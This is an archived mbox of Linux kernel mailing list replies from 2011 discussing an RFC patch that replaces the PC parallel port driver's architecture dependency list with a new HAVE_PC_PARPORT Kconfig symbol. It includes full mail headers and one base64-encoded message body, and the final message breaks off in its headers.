@@ -48,6 +47,9 @@ config PARPORT_PC
 
 	  If unsure, say Y.
 
+config HAVE_PC_PARPORT
+	bool
+
 config PARPORT_SERIAL
 	tristate "Multi-IO cards (parallel and serial)"
 	depends on SERIAL_8250_PCI && PARPORT_PC && PCI



From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 22:22:43 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <201106142222.43553.arnd@arndb.de>
References: <20110614190850.GA13526@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308083010 791 80.91.229.12 (14 Jun 2011 20:23:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2011 20:23:30 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Jun 14 22:23:18 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWa8r-0002cL-1c
	for linux-arm-kernel@m.gmane.org; Tue, 14 Jun 2011 22:23:17 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWa8q-0007XG-2T; Tue, 14 Jun 2011 20:23:16 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWa8p-00007H-K3; Tue, 14 Jun 2011 20:23:15 +0000
Original-Received: from moutng.kundenserver.de ([212.227.17.9])
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWa8l-00006y-4p for linux-arm-kernel@lists.infradead.org;
	Tue, 14 Jun 2011 20:23:12 +0000
Original-Received: from wuerfel.localnet (port-92-200-80-152.dynamic.qsc.de
	[92.200.80.152])
	by mrelayeu.kundenserver.de (node=mreu0) with ESMTP (Nemesis)
	id 0M53tq-1Pbl4227aQ-00zO0W; Tue, 14 Jun 2011 22:22:57 +0200
User-Agent: KMail/1.13.6 (Linux/3.0.0-rc1nosema+; KDE/4.6.3; x86_64; ; )
In-Reply-To: <20110614190850.GA13526@linux-mips.org>
X-Provags-ID: V02:K0:Nw7JuX5Irr6sJRJ8adGr6gZRh5fFvzcsXaKoiGZZRkE
	gtCtOvg3NoIRuAdCPKDL457VlhxTtEblT2auC/jz6zAhpvFNy8
	rBK0aCi5P8c6Yw+jduh31uRgY8K56s9jHhTaBkFgGy3a1XOY9D
	vpizFe5DH2g7f+xBCp2fDNK68IffsjDjtWlDIdoTGcVTY0EleU
	Y8g5hHxoZxBhK0X7GotIg==
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110614_162311_517801_CBC9C171 
X-CRM114-Status: GOOD (  14.68  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (0.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/,
	low trust [212.227.17.9 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120509 gmane.linux.ports.ppc64.devel:75124 gmane.linux.ports.mips.general:31477 gmane.linux.ports.m68k:2457 gmane.linux.ports.ia64:21713 gmane.linux.ports.sh.devel:11363 gmane.linux.ports.sparc:15136 gmane.linux.kernel.cross-arch:10018 gmane.linux.uclinux.microblaze:11599 gmane.linux.ports.parisc:3790 gmane.linux.kernel:1154916 gmane.linux.ports.alpha:1480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120509>

On Tuesday 14 June 2011 21:08:50 Ralf Baechle wrote:

> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 9adc278..2968751f 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -21,6 +21,7 @@ config ARM
>  	select HAVE_KERNEL_LZO
>  	select HAVE_KERNEL_LZMA
>  	select HAVE_IRQ_WORK
> +	select HAVE_PC_PARPORT
>  	select HAVE_PERF_EVENTS
>  	select PERF_USE_VMALLOC
>  	select HAVE_REGS_AND_STACK_ACCESS_API

On arm that should only be set on a couple of subarchitectures, but
we can fan that out after your patch goes in, just like you do for Mips

> diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
> index 2729c66..b8328df 100644
> --- a/arch/powerpc/Kconfig
> +++ b/arch/powerpc/Kconfig
> @@ -128,6 +128,7 @@ config PPC
>  	select HAVE_REGS_AND_STACK_ACCESS_API
>  	select HAVE_HW_BREAKPOINT if PERF_EVENTS && PPC_BOOK3S_64
>  	select HAVE_GENERIC_HARDIRQS
> +	select HAVE_PC_PARPORT
>  	select HAVE_SPARSE_IRQ
>  	select IRQ_PER_CPU
>  	select GENERIC_IRQ_SHOW

Similar to ARM and Mips.

> index e446bab..ceac9b5 100644
> --- a/arch/microblaze/Kconfig
> +++ b/arch/microblaze/Kconfig
> @@ -15,6 +15,7 @@ config MICROBLAZE
>  	select OF
>  	select OF_EARLY_FLATTREE
>  	select HAVE_GENERIC_HARDIRQS
> +	select HAVE_PC_PARPORT
>  	select GENERIC_IRQ_PROBE
>  	select GENERIC_IRQ_SHOW
>  

Highly unlikely, except through PCI.

> diff --git a/arch/score/Kconfig b/arch/score/Kconfig
> index 288add8..ba078d0 100644
> --- a/arch/score/Kconfig
> +++ b/arch/score/Kconfig
> @@ -1,9 +1,10 @@
>  menu "Machine selection"
>  
>  config SCORE
> -       def_bool y
> -       select HAVE_GENERIC_HARDIRQS
> -       select GENERIC_IRQ_SHOW
> +	def_bool y
> +	select HAVE_GENERIC_HARDIRQS
> +	select HAVE_PC_PARPORT
> +	select GENERIC_IRQ_SHOW
>  
>  choice
>  	prompt "System type"

Certainly not, no PIO support

> diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
> index 0249b8b..3e96eff 100644
> --- a/arch/tile/Kconfig
> +++ b/arch/tile/Kconfig
> @@ -8,6 +8,7 @@ config TILE
>  	select USE_GENERIC_SMP_HELPERS
>  	select CC_OPTIMIZE_FOR_SIZE
>  	select HAVE_GENERIC_HARDIRQS
> +	select HAVE_PC_PARPORT
>  	select GENERIC_IRQ_PROBE
>  	select GENERIC_PENDING_IRQ if SMP
>  	select GENERIC_IRQ_SHOW

Only through PCI

> diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
> index e57dcce..3832e7e 100644
> --- a/arch/unicore32/Kconfig
> +++ b/arch/unicore32/Kconfig
> @@ -8,6 +8,7 @@ config UNICORE32
>  	select HAVE_KERNEL_BZIP2
>  	select HAVE_KERNEL_LZO
>  	select HAVE_KERNEL_LZMA
> +	select HAVE_PC_PARPORT
>  	select GENERIC_FIND_FIRST_BIT
>  	select GENERIC_IRQ_PROBE
>  	select GENERIC_IRQ_SHOW

Probably not.

I think you can leave these four out right away, provided you add
the section below:

> --- a/drivers/parport/Kconfig
> +++ b/drivers/parport/Kconfig
> @@ -35,8 +35,7 @@ if PARPORT
> 
>  config PARPORT_PC
>  
>         tristate "PC-style hardware"
> 
> -       depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && \
> -               (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN
> +       depends on HAVE_PC_PARPORT
> 
>         ---help---
>         
>           You should say Y here if you have a PC-style parallel port. All
>           IBM PC compatible computers and some Alphas have PC-style
> 
> @@ -48,6 +47,9 @@ config PARPORT_PC
> 
>           If unsure, say Y.
> 
> +config HAVE_PC_PARPORT
> +       bool
> +

As you write, anything that has PCI can theoretically take parallel ports,
so I would always list PCI here as a way to get it anyway. Probably also
ISA and PCMCIA. How about adding this?

config HAVE_PC_PARPORT
	bool
	default (PCI || ISA || PCMCIA)

	Arnd

From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.uclinux.microblaze,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 13:25:46 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <4DF7C3CA.9050902@zytor.com>
References: <20110614190850.GA13526@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308083238 2188 80.91.229.12 (14 Jun 2011 20:27:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2011 20:27:18 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Chris Metcalf <cmetcalf@tilera.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@redhat.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Kyle McMartin <kyle@mcmartin.ca>,
        Lennox Wu <lennox.wu@gmail.com>,
        Matt Turner <mattst88@gmail.com>,
        Michal Simek <monstr@monstr.eu>,
        Mikael Starvik <starvik@axis.com>,
        Paul Mackerras <paulus@samba.org>,
        Pa
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Jun 14 22:27:06 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1QWaCY-0003j9-0t
	for sgi-linux-mips@gmane.org; Tue, 14 Jun 2011 22:27:06 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:58409 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491014Ab1FNU1F (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 14 Jun 2011 22:27:05 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 14 Jun 2011 22:26:47 +0200 (CEST)
Original-Received: from terminus.zytor.com ([198.137.202.10]:37825 "EHLO mail.zytor.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1491000Ab1FNU0k (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Tue, 14 Jun 2011 22:26:40 +0200
Original-Received: from anacreon.sc.intel.com (hpa@localhost [127.0.0.1])
        (authenticated bits=0)
        by mail.zytor.com (8.14.4/8.14.4) with ESMTP id p5EKPl81014228
        (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
        Tue, 14 Jun 2011 13:25:47 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc15 Thunderbird/3.1.10
In-Reply-To: <20110614190850.GA13526@linux-mips.org>
X-archive-position: 30385
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hpa@zytor.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:31478 gmane.linux.kernel.cross-arch:10019 gmane.linux.ports.sparc:15137 gmane.linux.uclinux.microblaze:11600 gmane.linux.ports.alpha:1481 gmane.linux.ports.arm.kernel:120510 gmane.linux.ports.ia64:21714 gmane.linux.kernel:1154920 gmane.linux.ports.m68k:2458 gmane.linux.ports.parisc:3791 gmane.linux.ports.ppc64.devel:75126 gmane.linux.ports.sh.devel:11364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/31478>

On 06/14/2011 12:08 PM, Ralf Baechle wrote:
> The PC parallel port Kconfig as acquired one of those messy terms to
> describe it's architecture dependencies:
> 
>        depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && \
>                (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN
> 
> This isn't just ugly - it also almost certainly describes the dependencies
> too coarse grainedly.  This is an attempt at cleaing the mess up.
> 
> I tried to faithfully aproximate the old behaviour but the existing
> behaviour seems inacurate if not wrong for some architectures or platforms.
> To improve on this I rely on comments from other arch and platforms
> maintainers.  Any system that can take PCI multi-IO card or has a PC-style
> parallel port on the mainboard should probably should now do a
> select HAVE_PC_PARPORT.  And some arch Kconfig files should further
> restrict the use of HAVE_PC_PARPORT to only those platforms that actually
> need it.
> 

Why on earth restrict it like that?  It's just a device driver, like
more or less any other device driver...

	-hpa



From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 22:32:08 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <BANLkTikuVsFS-UbS+Dap2Zy-f1+qLc1TLw@mail.gmail.com>
References: <20110614190850.GA13526@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1308083561 3980 80.91.229.12 (14 Jun 2011 20:32:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2011 20:32:41 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>,
	Fenghua Yu <fenghua.yu@intel.com>, microblaze-uclinux@itee.uq.edu.au,
	Chris Metcalf <cmetcalf@tilera.com>, Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas Gleixner
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Jun 14 22:32:26 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWaHi-0007PF-1A
	for linux-arm-kernel@m.gmane.org; Tue, 14 Jun 2011 22:32:26 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWaHg-0007zj-K9; Tue, 14 Jun 2011 20:32:24 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWaHg-0000ET-6A; Tue, 14 Jun 2011 20:32:24 +0000
Original-Received: from mail-bw0-f49.google.com ([209.85.214.49])
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWaHb-0000EA-KK for linux-arm-kernel@lists.infradead.org;
	Tue, 14 Jun 2011 20:32:21 +0000
Original-Received: by bwz1 with SMTP id 1so5940654bwz.36
	for <linux-arm-kernel@lists.infradead.org>;
	Tue, 14 Jun 2011 13:32:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma;
	h=domainkey-signature:mime-version:sender:in-reply-to:references:date
	:x-google-sender-auth:message-id:subject:from:to:cc:content-type
	:content-transfer-encoding;
	bh=KzkoSRMjjxeyMdrEfq9fKim/oOIUm71Xi6HgFSwA65E=;
	b=wh5uIAK7aK1opglWkMnwKyv3dlU1zwE5dz+Rkh+DxdNpztxhe1puLAXDx7zxYNmy/g
	06DjOH1DINOQxmomwij7FuKVeli9tyWFg1i0Bzpvhj5KNGsPebTlK1iSCxK7x4vKcchK
	BODymjrul6jl3k6FqOYz7YF5li066ABgHu+5w=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma;
	h=mime-version:sender:in-reply-to:references:date
	:x-google-sender-auth:message-id:subject:from:to:cc:content-type
	:content-transfer-encoding;
	b=OQDrhiltq8cQzWLa6qKZb3zVPhcEA6/qD85YkvqEMz/t1U3kM+aMGJ9JWPkeJ+xAvj
	2+1FnXJu+ggCTmeeGTVBCiC86MEENN6PdAuyWB8oMLsyXXwZ2bww+kaYLHQTcN04VpGI
	wRmO1r0DCZHB7iYgqnh662Qt4qL8Q8Fa/Gwt4=
Original-Received: by 10.205.83.133 with SMTP id ag5mr866783bkc.121.1308083528897; Tue,
	14 Jun 2011 13:32:08 -0700 (PDT)
Original-Received: by 10.204.5.130 with HTTP; Tue, 14 Jun 2011 13:32:08 -0700 (PDT)
In-Reply-To: <20110614190850.GA13526@linux-mips.org>
X-Google-Sender-Auth: sK222PWDtiEmyoKRGb0wUOnfD98
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110614_163220_078409_76415E47 
X-CRM114-Status: GOOD (  14.00  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-0.7 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	0.0 FREEMAIL_FROM          Sender email is freemail
	(geert.uytterhoeven[at]gmail.com)
	-0.7 RCVD_IN_DNSWL_LOW RBL: Sender listed at http://www.dnswl.org/,
	low trust [209.85.214.49 listed in list.dnswl.org]
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
	0.0 RFC_ABUSE_POST Both abuse and postmaster missing on sender domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120511 gmane.linux.ports.mips.general:31479 gmane.linux.ports.m68k:2459 gmane.linux.ports.ia64:21715 gmane.linux.ports.sh.devel:11365 gmane.linux.ports.sparc:15138 gmane.linux.kernel.cross-arch:10020 gmane.linux.uclinux.microblaze:11601 gmane.linux.ports.parisc:3792 gmane.linux.kernel:1154921 gmane.linux.ports.alpha:1482 gmane.linux.ports.ppc64.devel:75127
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120511>

T24gVHVlLCBKdW4gMTQsIDIwMTEgYXQgMjE6MDgsIFJhbGYgQmFlY2hsZSA8cmFsZkBsaW51eC1t
aXBzLm9yZz4gd3JvdGU6Cj4gVGhlIFBDIHBhcmFsbGVsIHBvcnQgS2NvbmZpZyBhcyBhY3F1aXJl
ZCBvbmUgb2YgdGhvc2UgbWVzc3kgdGVybXMgdG8KPiBkZXNjcmliZSBpdCdzIGFyY2hpdGVjdHVy
ZSBkZXBlbmRlbmNpZXM6Cj4KPiDCoCDCoCDCoCBkZXBlbmRzIG9uICghU1BBUkM2NCB8fCBQQ0kp
ICYmICFTUEFSQzMyICYmICFNMzJSICYmICFGUlYgJiYgXAo+IMKgIMKgIMKgIMKgIMKgIMKgIMKg
ICghTTY4SyB8fCBJU0EpICYmICFNTjEwMzAwICYmICFBVlIzMiAmJiAhQkxBQ0tGSU4KPgo+IFRo
aXMgaXNuJ3QganVzdCB1Z2x5IC0gaXQgYWxzbyBhbG1vc3QgY2VydGFpbmx5IGRlc2NyaWJlcyB0
aGUgZGVwZW5kZW5jaWVzCj4gdG9vIGNvYXJzZSBncmFpbmVkbHkuIMKgVGhpcyBpcyBhbiBhdHRl
bXB0IGF0IGNsZWFpbmcgdGhlIG1lc3MgdXAuCgo+IC0tLSBhL2FyY2gvbTY4ay9LY29uZmlnLm1t
dQo+ICsrKyBiL2FyY2gvbTY4ay9LY29uZmlnLm1tdQo+IEBAIC0zOTksNiArMzk5LDcgQEAgY29u
ZmlnIElTQQo+IMKgIMKgIMKgIMKgYm9vbAo+IMKgIMKgIMKgIMKgZGVwZW5kcyBvbiBRNDAgfHwg
QU1JR0FfUENNQ0lBCj4gwqAgwqAgwqAgwqBkZWZhdWx0IHkKPiArIMKgIMKgIMKgIHNlbGVjdCBQ
QVJQT1JUX1BDCgpXaHkgZG8geW91IHNlbGVjdCBQQVJQT1JUX1BDIGhlcmUgaW5zdGVhZCBvZiBI
QVZFX1BDX1BBUlBPUlQ/CgpHcntvZXRqZSxlZXRpbmd9cywKCsKgIMKgIMKgIMKgIMKgIMKgIMKg
IMKgIMKgIMKgIMKgIMKgIEdlZXJ0CgotLQpHZWVydCBVeXR0ZXJob2V2ZW4gLS0gVGhlcmUncyBs
b3RzIG9mIExpbnV4IGJleW9uZCBpYTMyIC0tIGdlZXJ0QGxpbnV4LW02OGsub3JnCgpJbiBwZXJz
b25hbCBjb252ZXJzYXRpb25zIHdpdGggdGVjaG5pY2FsIHBlb3BsZSwgSSBjYWxsIG15c2VsZiBh
IGhhY2tlci4gQnV0CndoZW4gSSdtIHRhbGtpbmcgdG8gam91cm5hbGlzdHMgSSBqdXN0IHNheSAi
cHJvZ3JhbW1lciIgb3Igc29tZXRoaW5nIGxpa2UgdGhhdC4KwqAgwqAgwqAgwqAgwqAgwqAgwqAg
wqAgwqAgwqAgwqAgwqAgwqAgwqDCoCDCoMKgIC0tIExpbnVzIFRvcnZhbGRzCgpfX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpsaW51eC1hcm0ta2VybmVsIG1h
aWxpbmcgbGlzdApsaW51eC1hcm0ta2VybmVsQGxpc3RzLmluZnJhZGVhZC5vcmcKaHR0cDovL2xp
c3RzLmluZnJhZGVhZC5vcmcvbWFpbG1hbi9saXN0aW5mby9saW51eC1hcm0ta2VybmVsCg==


From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 23:33:15 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <201106142333.16203.arnd@arndb.de>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308087245 25820 80.91.229.12 (14 Jun 2011 21:34:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2011 21:34:05 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
